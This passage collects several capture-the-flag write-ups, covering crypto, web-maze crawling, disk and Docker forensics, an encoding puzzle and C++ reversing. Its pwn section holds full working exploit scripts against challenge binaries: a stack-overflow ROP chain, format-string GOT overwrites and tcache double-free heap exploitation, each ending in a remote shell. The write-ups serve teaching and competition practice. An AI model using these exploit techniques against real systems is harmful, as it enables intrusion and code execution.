EllipticCurve(Zmod(q), [a, b]) g = E(1115545019992514, 78178829836422)h = E(829999038570486, 549144410878897)c1 = E(700253548714057, 421820716153583)c2 = E(470712751668926, 131989609316847) x = g.discrete_log(h) print "[+] x:", x C_ = c1*xP = c2 - C_ print "[+] key:", P[0]``` The output: ```$ sage solve.sage[+] x: 29131765433887[+] key: 934013602642177``` And here is the Python code I used to get the flag: ```pythonfrom Crypto.Cipher import Blowfishfrom Crypto.Hash import SHA256import base64 b = "sTokhflo9WHPQB8JHEm0OVG2SwUA/sHaP0yFv9T2kmoZjC5g46eeRM8M8CGRj8bV/NxY4VJ8Ls0=" key = SHA256.new() # Insert key herekey.update(b"934013602642177") def decrypt(key, message): enc = base64.b64decode(message) iv = enc[:Blowfish.block_size] cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv) return cipher.decrypt(enc[Blowfish.block_size:]) print(decrypt(key.digest(), b))``` And so, the flag is: ```TG19{please_be_more_discreet_when_hacking}```
# Moar Horse 2```Written by okulkarni Moar Horse is back and better than ever before! Check out this site and see if you can find the flag. It shouldn't be that hard, right?.```When go to the website it got two buttons, back and forward: ![Screenshot1.png](Screenshot1.png) When I click back or forward it shows the same website but different URL: ![Screenshot2.png](Screenshot2.png) Nothing suspicious in the source code:```html <html> <head> <link href="/style.css" rel="stylesheet"></head> <body> <div class="jumbotron text-center"> <div class="container"> <h1>Welcome to Flag Finding!</h1> </div> </div> <div class="container"> <div class="row"> <div class="col-xs-6"> Backward </div> <div class="col-xs-6"> Forward </div> </div> </div></body> </html>``` When I keep clicking back or forward, it goes to the same URL `4b043a01-a4b7-4141-8a99-fc94fe7e3778.html` But if I click back and forward it goes to many different URL So I guess its like a **maze**, if you keep go back or forward you'll go back the same place And the flag the exit for the maze So I wrote a [script](solve.py) using Python that will automatic play the maze for me: ```pythonimport requestsimport reimport randompath = []url = "https://moar_horse_2.tjctf.org"r = requests.get(url)while(1): back = re.findall("/.*.html",r.text.split('\n')[14].strip())[0] forward = re.findall("/.*.html",r.text.split('\n')[15].strip())[0] if back not in path and forward not in path: if random.randint(0,1) == 0: r = requests.get(url+back) path.append(back) print back else: r = requests.get(url+forward) path.append(forward) print forward elif back not in path: r = requests.get(url+back) path.append(back) print back elif forward not in path: r = requests.get(url+forward) path.append(forward) print forward.........``` But I realized there are many possible path when I run the code:```/9d3b0782-9323-49f8-a5f3-57abd07b82bc.html/a07cb0d7-df0a-4b5e-9ba3-12fc002fb71a.html/77504246-70cd-4501-bea2-7ca7426f55e9.html/e140c13f-cfbb-4832-a3db-582090ec8236.html/0f85b7d2-e3c0-4ba8-9523-b4501d0bb3fc.html/3ec7f0d2-a4cb-471d-bc48-18b6f3401a84.html/68f6a44e-efc6-42c5-a26c-f6cdb7fa2e06.html/8db3e5ce-bc48-4d70-9f8c-9757b3db86c6.html/f6f07e7e-7e36-488d-9633-d3f8e5f0de1f.html/ea3924a9-d054-412c-ac38-218035864594.html/cf5996c2-d90b-4c47-9c19-c417cc5aa0a1.html/03b7f0ad-f1aa-451a-aa0d-c2b292c163ea.html/bdf897ef-518e-4405-a4c7-e7d08d015d87.html/3a2e1818-0424-4dcb-b801-be712f56ae82.html/4b043a01-a4b7-4141-8a99-fc94fe7e3778.html/e634644e-b802-496a-8bb5-0e0aac40779f.html/f50f7e37-8ba7-43c6-9836-a6148831564e.html/02e3d747-eb06-4483-b451-90d6cc06e8be.html/a8db863f-aa34-41f8-aa06-879f66856f6f.html/f9e52cea-a2e7-4b45-881f-bdddac4d13ac.html........./2fbcc470-0dbe-4305-9572-35ede4deb62a.html```So I decided to use multiple thread to check to remain unchecked path This is my final code after alot of debuging: ```pythonimport requestsimport reimport randomfrom threading import Threadfrom threading import activeCountimport osimport signal remainPath = []url = "https://moar_horse_2.tjctf.org"startUrl = "/4b043a01-a4b7-4141-8a99-fc94fe7e3778.html"r = requests.get(url+startUrl)path = []allowed = Falsedef monitor(): global allowed while(1): if activeCount() <= 600: allowed = True else: allowed = False def newThread(start,r): while(1): if re.findall("tjctf{.*}",r.text): print start print re.findall("tjctf{.*}",r.text)[0] os.kill(os.getpid(), signal.SIGKILL) back = re.findall("/.*.html",r.text.split('\n')[14].strip())[0] forward = re.findall("/.*.html",r.text.split('\n')[15].strip())[0] path.append(start) print len(path) if back not in path and forward not in path: if allowed: r = requests.get(url+back) thread = Thread(target=newThread,args=(back,r)) thread.start() r = requests.get(url+forward) start = forward else: if random.randint(0,1) == 0: r = requests.get(url+back) start = back remainPath.append(forward) else: r = requests.get(url+forward) start = forward remainPath.append(back) elif back not in path: r = requests.get(url+back) start = back elif forward not in path: r = requests.get(url+forward) start = forward else: for rmp in remainPath: if allowed: remainPath.remove(rmp) r = requests.get(url+rmp) thread = Thread(target=newThread,args=(rmp,r)) thread.start() break monitorThread = Thread(target=monitor)monitorThread.start()newThread(startUrl,r)```Run the code, waited 5 minute. It found the flag!!The exit is in `3cf94f73-568f-4dbc-b185-d545aff438d6.html` ```12345678.........184971849818499185001850118502185031850418505 1850618507 /3cf94f73-568f-4dbc-b185-d545aff438d6.html 18508tjctf{s0rry_n0_h0rs3s_anym0ar}Killed```## Flag> tjctf{s0rry_n0_h0rs3s_anym0ar}
# PlaidCTF 2019 [ https://ctftime.org/event/743 ] ## Space Saver > we couldn't think of anything cute so [here](https://play.plaidctf.com/files/space_saver-90a5a93dfdda2d0333f573eb3fac9789.dd) you go [ **misc** : 100pts ] As this appeared to be an genuine `.dd` file, the first step was to simply mount the disk image: ```mount -o loop space_saver-90a5a93dfdda2d0333f573eb3fac9789.dd /mnt/tmp``` However, the only file that could initially be found did not contain the flag despite being named `flag.png`: ![flag.png](space-saver-flag.png) Running various steganography tools against the image didn't uncover anything useful; however, the tildes (`~`) used in `~WIN~` suggested re-examining the original `.dd` and searching for **deleted** files. Using `testdisk` uncovered the following files which were duly extracted from the disk image: The `P.png`, `PP.png` and `PPP.png` files were all identical and showed the CTF organiser's logo ([PPP](http://pwning.net/)). Again, steganography tools uncovered nothing. The `space.rar` file was more interesting, but unfortunately password-encoded. While running some basic brute-forcing using `john`, I randomly decided to investigate the raw hex of the `.dd` file for more clues. Focusing primarily on the `P`/`PP`/`PPP.png` file data (as I was curious as to why they were hidden along with the `.rar` file), I uncovered the following near the `IEND` footers of each `PNG`: ```00040260: 0000 4945 4e44 ae42 6082 0053 7061 6300 ..IEND.B`..Spac.00044260: 0000 4945 4e44 ae42 6082 0033 6569 3200 ..IEND.B`..3ei2.00048260: 0000 4945 4e44 ae42 6082 0068 6572 4500 ..IEND.B`..herE.``` Re-constructing the suspicious looking text into `Spac3ei2herE` provided the correct password to `space.rar` and allowed `final.png` to be extracted: Flag: ```PCTF{2pac3_3v34ry_wh3r3}``` ## A Whaley Good Joke > You'll have a whale of a time with [this one](https://play.plaidctf.com/files/pctf-whales_169aeb74f82dcdceb76e36a6c4c22a89)! I couldn't decide what I wanted the flag to be so I alternated adding and removing stuff in waves until I got something that looked good. Can you dive right in and tell me what was so punny? [ **misc** : 150pts ] Used `file` to determine that the given download contained `gzip compressed data` before extracting the contents using `tar`. This extracted a bunch of directories (each containing `layer.tar` and some other unimportant files), `44922ae2...c67ff784.json` and `manifest.json`. I initially just decompressed all the `layer.tar` files after discovering references to `/root/flag.sh` within `44922ae2...c67ff784.json`: ```js{ "container": "23e9240f8ca97d3bfba72f23a57703138fb3a16d7e3e19f7d5b80d177ab50b5d", "created": "2019-04-13T20:58:53.322050465Z", "os": "linux", "container_config": { "Tty": false, "Cmd": [ "\/bin\/sh", "-c", "chmod +x .\/flag.sh && .\/flag.sh" ], "Volumes": null, "Domainname": "", "WorkingDir": "\/root\/", ...}``` Unfortunately, after extracting everything in no particular order, running `flag.sh` resulted in output that was clearly not correct. ``` $ ./flag.sh pctf{1_b3tk4_auultn__s0lk3m7tr_ui2l7u_h_er}``` A quick look at `flag.sh` showed that it was concatenating 32 files (also within `/root`) named using the numbers 1 through 32 (with later examination revealing that each file contained a single character). The fact that the resulting flag was incorrect suggested files had been overwritten, and that the **order** of extraction was important. ```bash#!/bin/bash for i in {1..32}do test -f $i if [[ $? -ne 0 ]] then echo "Missing file $i - no flag for you!" exit fidone echo pctf{1_b3t$(cat 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32)}``` The `manifest.json` file (and also `44922ae2...c67ff784.json`) from the original archive confirmed a particular extraction sequence for the `layer.tar` files, however, the names of **21** of the 27 directories extracted from the archive had been masked. ```js{ "Layers": [ "2354d65e014cbe530f9695dbe3faf8ac84d85d7ad91f5d46ba8ef3fc0cd88d95\/layer.tar", "4337e82a87b98a9c74a8328f7059baf04a2ad31081c9893c5f37d4dd85137988\/layer.tar", "7204dd4cdfd9b6d29a095cf1fd3b2e7efe366f191c31a75df4ea8e9f47a70801\/layer.tar", "c843887778784dad565b239aa712a3228d9a878f2d3f129f3ab7341a84f11910\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", ... "????????????????????????????????????????????????????????????????\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", "b94e5d83dbbff95e883f0f53bcf47c017471b13d81325697be6e22cdc8c369aa\/layer.tar", "24d12bbeb0a9fd321a8decc0c544f84bf1f6fc2fd69fa043602e012e3ee6558b\/layer.tar" ], ...}``` The `layer.tar` files from those particular directories also happened to specify only revisions that added or deleted different numbers and combinations of the 32 files comprising the flag within `/root`. This step did require some searching to discover that `.wh.` files are special **whiteout** files used by Docker to represent file and folder deletion. Using the above knowledge and the clue within the challenge description about `alternated adding and removing stuff`, I eventually realised that it might be possible to determine the correct extraction order based on the following two principles: * No file can be deleted that doesn't exist (ie, it must be added first)* No file can be added that currently exists (ie, it must have *not* been added yet or needs to be deleted first) The code in [ [a-whaley-good-joke.py](a-whaley-good-joke.py) ] creates a tree structure of alternating `ADD`/`DEL` revision nodes that explores sequence orders of extractions which satisfy the above rules. A valid sequence order will have a tree depth of 21 (ie, using all the possible revisions). The script then extracts the files based on each valid sequence ordering and displays the potential flags. There were actually 24 valid revision sequences combining for an assortment of possible flags: ```Processing valid sequences ...Extracting sequence #00 : pctf{1_b3tttzalkzgn_7s0lknq6___ui2l_u_h_er}Extracting sequence #01 : pctf{1_b3tttzalkzgn_7s0lknq6___ui2l_u_h_er}Extracting sequence #02 : pctf{1_b3tttzalkzgn_7s0lknq6___ui2l_u_h_er}Extracting sequence #03 : pctf{1_b3tttzalkzgn_7s0lknq6___ui2l_u_h_er}Extracting sequence #04 : pctf{1_b3t_u_couldnt_c0nt4in3r_ur_l4ught3r}Extracting sequence #05 : pctf{1_b3t_u_couldnt0s0nt4in3e_urel4ught3r}Extracting sequence #06 : pctf{1_b3t_u_couldnt0s0nt4in3e_urel4ught3r}...``` The correct result was determined by simply seeing which of the flags made sense: ```pctf{1_b3t_u_couldnt_c0nt4in3r_ur_l4ught3r}```
# Sushi - Miscellaneous - 300 Points I (Remy) wrote this challenge, so of course my writeup will be biased... I wrote it. People managed to solve this challenge during WPICTF, so you should search for their writeups to see a solution from a purely contestant perspective. ## Challenge Description: Thousands of dollars of sushi... COMPED! Decode the following file to get the flag: https://drive.google.com/open?id=137rBRmOa\_xqCobahLCKu8psuWO6cd\_z5 Encode service here: nc sushi.wpictf.xyz 31337 (or 31338 or 31339) made by rm -k Image files from https://drive.google.com/open?id=1\_Yu9RskDqhojxjtbfPILM2Sh1yBhA4uR Hint file from https://drive.google.com/open?id=1EWfM5oBVksVD1an\_SFV-v1gdvcTYKyHR ## Lookin' at it There are several components to this challenge. We are given a giant (100 +) megabyte file, an online service which encodes text into the same format found on file, and a picture that looks like it was taken at a sushi restaurant. The photo itself is peculiar... it seems to have a bunch of hints written on a napkin! ![alt text](https://github.com/rkaldawy/writeups2019/blob/master/wpictf/sushi/hint.jpg "A Strange Hint") These hints seem completely unrelated to each other. One of them probably bears relevance to the task at hand, while the others are red herrings. Moving from the photo to the encode service, a bit of trial and error will show that the same text has many (in fact, an infinite) number of valid encodings. The encode service is also spitting out much shorter encodings than the released file; thus, the absolute frequency of the letters must be irrelevant to the encoding. From there, it takes some time cross referencing the encoding with the hints before a possible solution may appear. Several key insights are listed, in no particular order: - The encoding uses only the uppercase and lowercase alphabet- Each 'unit' of the encoding is delimited with a single 'z' character. Each unit can have an arbitrary number of 'A' to 'Y' characters- A grid in the corner of the napkin contains the letters 'A' through 'Y', which matches the characters used in the encoding- Lowercase and upercase letters are completely interchangable. They can be essentially treated as the same characters- XOR'ing each letter of each 'unit' in the encoding yields the same output. - **Mapping the XOR'ed output to the grid generates traced out characters** This last insight is key to breaking the encoding. Namely, the encoding is taking the grid of letters in the hints and using it to trace out characters. The second hint image confirms this insight. For example, the word "HELLO" is traced as: ![alt text](https://github.com/rkaldawy/writeups2019/blob/master/wpictf/sushi/traces.png "Traced Out Letters") Thus, each "unit" of the encoding is the set of letters required to trace out one letter of the flag. Each letter is then copied an arbitrary number of times within the unit. Each instance of a letter "flips" that letter on and off; thus, an odd quantity of a letter in a unit will lead to that letter being present in the trace of the unit, while an even number of a letter in a unit will lead to that letter not existing in the trace. Finally, some letters are made lowercase, just for laughs. It bears no information about the encoding. ## Decoding the large file With the encoding pieced together, it is possible to write a decoder to draw out the encoded traces. The code in decoder.py can decode the 100+ megabyte challenge file in ~30 seconds. Doing so yields the flag: WPI{SPICY\_YELLOWTAIL\_WITH\_SOY\_WRAP} ## Conclusions Some people managed to solve this challenge, which means that it was at least mostly reasonable. This was meant to be the "busywork" misc challenge that a lot of CTFs have; you have a large file and need to build an automated solver to push through it. I think this challenge succeeded in its intended purpose. Hopefully, people enjoyed the riddle of trying to crack the encoding.
## ## 83 Pwn / Silk Road I Brute-force crack the ID, secret must be numeric string so it does not take very long to crack ```c#include <stdio.h>#include <stdlib.h>#include <stdbool.h> bool sub_40140A(char *secret){ size_t v1; // r12 size_t v2; // r12 bool ret; // al int v4; // [rsp+1Ch] [rbp-34h] int v5; // [rsp+34h] [rbp-1Ch] int v6; // [rsp+38h] [rbp-18h] int sint; // [rsp+3Ch] [rbp-14h] sint = strtol(secret, 0LL, 10); ret = 0; if ( sint % (strlen(secret) + 2) || secret[4] != '1' ) return ret; v6 = sint / 100000; v5 = sint % 10000; if ( 10 * (sint % 10000 / 1000) + sint % 10000 % 100 / 10 - (10 * (sint / 100000 / 1000) + sint / 100000 % 10) != 1 || 10 * (v6 / 100 % 10) + v6 / 10 % 10 - 2 * (10 * (v5 % 100 / 10) + v5 % 1000 / 100) != 8 ) { return ret; } v4 = 10 * (v5 / 100 % 10) + v5 % 10; if ( (10 * (v6 % 10) + v6 / 100 % 10) / v4 != 3 || (10 * (v6 % 10) + v6 / 100 % 10) % v4 ) return ret; v1 = strlen(secret) + 2; v2 = (strlen(secret) + 2) * v1; if ( sint % (v5 * v6) == v2 * (strlen(secret) + 2) + 6 ) ret = 1; return ret;} char buf[0x100]; int main(int argc, char const *argv[]){ for (size_t i = 0; i < 0x100000000; ++i) { snprintf(buf, sizeof(buf), "%d", (int)i); if (sub_40140A(buf)) puts(buf);//790317143 } return 0;}``` Nickname is not hard to get so I will skip it. Then there is a stack-overflow, which is easy. ```pythonfrom pwn import * g_local=0p = ELF("./silkroad.elf")context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./silkroad.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 58399) def prepare(): sh.recvuntil("ID: ") sh.send("790317143") sh.recvuntil("nick: ") sh.send("DreadPirateRobertsXiz\x00") sh.recvuntil("delete evidince and run Silkroad!\n")prepare()sh.sendline("A" * (64+8) + p64(0x401bab) + p64(p.got["puts"]) + p64(p.plt["puts"]) + p64(0x401AFD)) leak = sh.recvuntil('\n')libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr) prepare()sh.sendline("A" * (64+8) + p64(0x401B4B) + p64(0x401bab) + \ p64(libc_addr + next(e.search("/bin/sh"))) + p64(libc_addr + e.symbols["system"]) + p64(0)) sh.interactive()``` ## 171 Pwn / Silk Road II Since many `strtol` is used, so I would guess this token is also numeric and it is also can be brute-force cracked, but this time I will load the ELF executable as a shared library and call the verification function directly. ```c#include <stdio.h>#include <dlfcn.h>#include <memory.h>typedef int (*func_t)(char *);char buf[0x100];char key[0x100]; //to clear the stack of verification function, //because use of `strncpy` will cause uninitialized variable access (no null terminate)//which causes unexpected results if `strcat` is called to that string latervoid clear_stack(){ char buf[0x1000]; memset(buf, 0, sizeof(buf));} int main(int argc, char const *argv[]){ char* addr = *(char**)dlopen("./silkroad_2.elf", RTLD_NOW | RTLD_GLOBAL); func_t f = (func_t)(addr + 0x1C06); for (int i = 0; i < 0x3b9aca00; ++i) { sprintf(buf, "%.9d", i); for (int i = 0; i < 4; ++i) { key[i] = buf[i]; } for (int i = 0; i < 5; ++i) { key[6 + i] = buf[4 + i]; } key[4] = '1'; key[5] = '1';//4,5 must be length, which is always 11 key[11] = 0; clear_stack(); if (f(key) == 1) puts(buf); } return 0;}``` The vulnerability is format string vulnerability, when error message is printed if an invalid command is given. We can rewrite got table entry of `printf`, then hijack the `rip` and get shell using `one_gadget` ```pythonfrom pwn import * g_local=1context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process(["./silkroad_2.elf", "flag{test}"]) gdb.attach(sh)else: sh = remote("82.196.10.106", 47299) def hn(pos, val): assert val < 0x10000 if val == 0: return "%" + str(pos) + "$hn" else: return "%" + str(val) + "c%" + str(pos) + "$hn" def cont_shoot(poses, vals, prev_size = 0): assert len(poses) == len(vals) size = len(poses) ret = "" i = 0 cur_size = prev_size next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000 while i < size: assert next_overflow >= cur_size num = next_overflow - cur_size + vals[i] if num < 0x10000: ret += hn(poses[i], num) next_overflow += 0x10000 else: num = vals[i] - (cur_size - (next_overflow - 0x10000)) assert num >= 0 ret += hn(poses[i], num) cur_size += num i += 1 return ret sh.recvuntil("Enter your token: ")sh.send("98831114236")sh.recvuntil(">> ")sh.sendline("1") sh.recvuntil("admin: ") def format_exp(payload): sh.sendline(payload) sh.recvuntil("invalid: \\") ret = sh.recvuntil('\n') sh.recvuntil("admin: ") return ret[:-1] libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0print hex(libc_addr) #mh = libc_addr + e.symbols["__malloc_hook"]#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))#sh.sendline("\\q" + cyclic(128))#library function rewrites our input prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x98dprint hex(prog_addr) pg = prog_addr + 0x3f50 #printf got table entrysys = libc_addr + 0x10a38c#e.symbols["system"] format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4)) sh.sendline('\\' + cont_shoot([25, 26, 27], \ [sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11)) sh.interactive()``` ## 182 Pwn / Silk Road III The vulnerability is exactly same, but the verification is different. ```csigned __int64 __fastcall sub_1FCA(char *input){ int v1; // eax int v2; // ST1C_4 unsigned __int64 v3; // rbx size_t v4; // r12 size_t v5; // r12 char v6; // bl int v7; // ebx int v8; // ebx size_t v9; // rax signed __int64 result; // rax signed int i; // [rsp+14h] [rbp-4Ch] signed int j; // [rsp+14h] [rbp-4Ch] signed int k; // [rsp+14h] [rbp-4Ch] signed int l; // [rsp+14h] [rbp-4Ch] char _1337[5]; // [rsp+22h] [rbp-3Eh] char v16[6]; // [rsp+27h] [rbp-39h] char v17[6]; // [rsp+2Dh] [rbp-33h] char haystack[6]; // [rsp+33h] [rbp-2Dh] char v19[15]; // [rsp+39h] [rbp-27h] unsigned __int64 v20; // [rsp+48h] [rbp-18h] v20 = __readfsqword(0x28u); haystack[5] = 0; for ( i = 0; i <= 4; ++i ) haystack[i] = input[strlen(input) - 5 + i]; if ( !strstr(haystack, "1337") ) // 14:19 goto LABEL_23; //must contain 1337, and be either X1337 or 1337X v1 = strtol(haystack, 0LL, 10); v2 = 100 * (input[13] - '0') + 1000 * (input[6] - '0') + input[15] - '0'; v3 = v1; v4 = strlen(input); v5 = strlen(input) * v4; if ( v3 % (strlen(input) * v5) != v2 ) goto LABEL_23;// 1337XorX1337 % len**3 must have ten digit being 0 for ( j = 0; j <= 4; ++j ) { v16[j] = input[j]; v17[j] = input[strlen(input) - 10 + j]; } v16[5] = 0; v17[5] = 0; for ( k = 0; k <= 14; ++k ) v19[k] = input[k]; v19[14] = 0; for ( l = 0; l <= 3; ++l ) _1337[l] = haystack[l + 1]; _1337[4] = 0; if ( strstr(v19, _1337) && (v6 = *input, v6 == input[strlen(input) - 8])// [0] == [11] && (v7 = input[strlen(input) - 2] - 48, v8 = input[strlen(input) - 3] - 48 // [17] + [16] + [15] + 1 == [1] + v7, v8 + input[strlen(input) - 4] - 48 + 1 == input[1] - 48) && (v9 = strlen(input), v9 == 19 * ((unsigned __int64)(0xD79435E50D79435FLL * (unsigned __int128)v9 >> 64) >> 4)) )// len must == 19 { result = 1LL; } else {LABEL_23: result = 0xFFFFFFFFLL; } return result;}``` Actually the restriction is easier to bypass than second version, `X813373XXXXXX931337` can pass the check. ```pythonfrom pwn import * g_local=0context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process(["./ross.elf", "flag{test}"]) gdb.attach(sh)else: sh = remote("82.196.10.106", 31337) def hn(pos, val): assert val < 0x10000 if val == 0: return "%" + str(pos) + "$hn" else: return "%" + str(val) + "c%" + str(pos) + "$hn" def cont_shoot(poses, vals, prev_size = 0): assert len(poses) == len(vals) size = len(poses) ret = "" i = 0 cur_size = prev_size next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000 while i < size: assert next_overflow >= cur_size num = next_overflow - cur_size + vals[i] if num < 0x10000: ret += hn(poses[i], num) next_overflow += 0x10000 else: num = vals[i] - (cur_size - (next_overflow - 0x10000)) assert num >= 0 ret += hn(poses[i], num) cur_size += num i += 1 return ret sh.recvuntil("Enter your token: ")sh.send("X813373XXXXXX931337")sh.recvuntil("your nick: ")sh.sendline("admin")sh.recvuntil(">> ")sh.sendline("1") sh.recvuntil("admin: ") def format_exp(payload): sh.sendline(payload) sh.recvuntil("invalid: \\") ret = sh.recvuntil('\n') sh.recvuntil("admin: ") return ret[:-1] libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0print hex(libc_addr) #mh = libc_addr + e.symbols["__malloc_hook"]#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))#sh.sendline("\\q" + cyclic(128))#library function rewrites our input prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x1E9D - 5print hex(prog_addr) pg = prog_addr + 0x5F68 #printf got table entrysys = libc_addr + 0x10a38c#e.symbols["system"] format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4)) sh.sendline('\\' + cont_shoot([25, 26, 27], \ [sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11)) sh.interactive()``` The exploit is same, except some offset has been changed. ## 116 Pwn / pwn 101 Vulnerability is off-by-one, we can use this to extend the chunk size of unsorted bin to create overlap to leak the `libc` address; then we can get the same chunk twice in 2 different indices, so we can use double free to poison `tcache bins` and rewrite `__free_hook`. ```pythonfrom pwn import *from struct import unpack as upg_local=0#p = ELF("./pwn101.elf")context(log_level='debug', arch='amd64')#e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./pwn101.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 29099) sh.recvuntil("> ")def add(length, name, description="20192019"): sh.sendline("1") sh.recvuntil("Description Length: ") sh.sendline(str(length)) sh.recvuntil("Phone Number: ") sh.sendline("2019") sh.recvuntil("Name: ") sh.send(name) sh.recvuntil("Description: ") sh.send(description) sh.recvuntil("> ") def delete(idx): sh.sendline("3") sh.recvuntil("Index: ") sh.sendline(str(idx)) sh.recvuntil("> ") def show(idx): sh.sendline("2") sh.recvuntil("Index: ") sh.sendline(str(idx)) sh.recvuntil("Description : ") ret = sh.recvuntil('\n') sh.recvuntil("> ") return ret[:-1] for i in xrange(7): add(0x200, 'name', 'fill tcache')add(0x200, 'ab') #7for i in xrange(7): delete(i) add(0x58, 'c', 'A' * 0x50 + p64(0x1f0)) #0add(0x100, 'pad') #1delete(7) add(0x78, "offbyone", 'a' * 0x78 + '\xf1') #2#0x191 -> 0x1f1add(0x180, "leak") #3libc_addr = u64(show(0) + '\x00\x00') - 0x3ebca0print hex(libc_addr)#0x7fe5e1b31ca0 on server, so 2.27 add(0x50, '22', "/bin/sh") #4 delete(4)delete(0) add(0x50, 'consume', p64(libc_addr + 0x3ed8e8))#e.symbols["__free_hook"]))add(0x50, 'consume')add(0x50, '/bin/sh\x00', p64(libc_addr + 0x4f440))#e.symbols["system"])) #5 sh.sendline("3")sh.recvuntil("Index: ")sh.sendline(str(5)) sh.interactive()``` ## 104 Pwn / Precise average The stack overflow is obvious, but we need to find ways to bypass canary protection. The key is to send `"-"` as the floating point number, which is invalid and `scanf` will return negative, but it will not rewrite the pointer passed as argument and leave it as it is. By using this technique canary will not be rewritten. ```pythonfrom pwn import *from struct import unpack as upg_local=0p = ELF("./precise_avg.elf")context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./precise_avg.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 12499) pop_rdi = p64(0x4009c3)main = p64(0x4007D0) def exploit(rop): sh.recvuntil("Number of values: ") length = 35 + len(rop)/8 sh.sendline(str(length)) for i in xrange(35): sh.sendline("-") for i in xrange(0, len(rop), 8): sh.sendline("%.800f" % up("<d", rop[i:i+8])[0]) sh.recvuntil("Result = ") sh.recvuntil('\n') rop = pop_rdirop += p64(p.got["puts"])rop += p64(p.plt["puts"])rop += mainexploit(rop) leak = sh.recvuntil('\n') libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr) rop = p64(0x400958) #retnrop += pop_rdirop += p64(libc_addr + next(e.search("/bin/sh")))rop += p64(libc_addr + e.symbols["system"])rop += p64(0) exploit(rop) sh.interactive()``` ## 287 Reverse / Mind Space This is a C++ reverse engineering challenge. Fortunately the optimization is not enabled, otherwise many C++ built-in functions would be "inlined" and the codes would be very messy. The key is to recognize `std::vector`, `std::string` and `angles` structure. ```cstruct angles{ _QWORD field_0; _QWORD field_8;};//actually they are `double` typestruct vector{ angles *pointer; angles *end; angles *real_end;};struct string{ char *pointer; size_t len; size_t maxlen_data; __int64 field_18;};``` I would not detail the C++ implementation here, if you want to know just search online or write some test codes with STL and reverse them. Here are some critical codes: ```cwhile ( !std::basic_ios<char,std::char_traits<char>>::eof(&input_stream_256) ){ v17 = 0LL; std::getline(input_stream, &flag;; v17 = string::find(&flag, ", ", 0LL); string::substr(&v14, &flag, 0LL, v17); string::operator_assign(&a1a, &v14); string::string_des(&v14); string::erase(&flag, 0LL, v17 + 1); sndnum = string::strtod((__int64)&flag, 0LL); a3 = sndnum - 80.0 - (double)i; fstnum = string::strtod((__int64)&a1a, 0LL); vector::push_back_withcheck(&a2, (double)i++ + fstnum - 80.0, a3); // fstnum is modified and inserted as field_8, and sndnum is field_0}``` ```c__int64 __fastcall encode(string *a1, double a2){ double v2; // ST00_8 bool v4; // [rsp+17h] [rbp-19h] char v5; // [rsp+18h] [rbp-18h] int v6; // [rsp+1Ch] [rbp-14h] v2 = a2; v6 = 2 * (signed int)round(100000.0 * a2); if ( v2 < 0.0 ) v6 = ~v6; string::string(a1); do { v4 = v6 >> 5 > 0; v5 = v6 & 0x1F; if ( v6 >> 5 > 0 ) v5 |= 0x20u; // a little bit similar to uleb128 in android string::operator_add(a1, (unsigned int)(char)(v5 + 0x3F)); v6 >>= 5; } while ( v4 ); return (__int64)a1;}``` This is the solving script ```pythondef read_flagenc(): f = open("./flag.txt.enc", "rb") ret = f.read() f.close() return map(ord, ret[:-1]) def recover_ints(data): ret = [] i = 0 off = 0 for c in data: n = c - 0x3f if (n & 0x20) == 0: i += n << (5 * off) ret.append(i) i = 0 off = 0 else: n -= 0x20 assert n < 0x20 i += n << (5 * off) off += 1 return ret arr = recover_ints(read_flagenc()) def back_to_double(i): if i % 1000 == 999: # if it is originally negative i = -i - 1 assert i % 1000 == 0 # % 2 == 0 return i / 2 / 100000.0 arr = map(back_to_double, arr) last0 = 0.0last1 = 0.0for i in xrange(0, len(arr), 2): arr[i] += last1 arr[i+1] += last0 last0 = arr[i+1] last1 = arr[i] #arr[i],arr[i+1] = arr[i+1],arr[i] for i in xrange(0, len(arr), 2): arr[i] = arr[i] + 80.0 - (i/2 + 1) arr[i+1] = arr[i+1] + 80.0 + (i/2 + 1) print arrprint "".join(map(lambda x : chr(int(x)), arr)) out = ""for i in xrange(0, len(arr), 2): out += "%.2f, %.2f\n" % (arr[i], arr[i+1]) # we know it is %.2f because it is the results are too close to it # (something like xx.xx9999999 or xx.xx00000001) out = out[:-1] f = open("flag.txt", 'wb')f.write(out)f.close()``` Then we have a `flag.txt`, but how do we get the flag from it? After asking for help from organizers (well, they told me this so it was allowed :D), we knew that for a floating point number `aa.bb`, `bb` is index `aa` is `ascii` value, so we can get the flag. ## 195 Reverse / Archimedes This is the critical code that generate encrypted flag. ```cwhile ( 1 ){ v23 = i; if ( v23 >= string::size(&input) ) break; v24 = 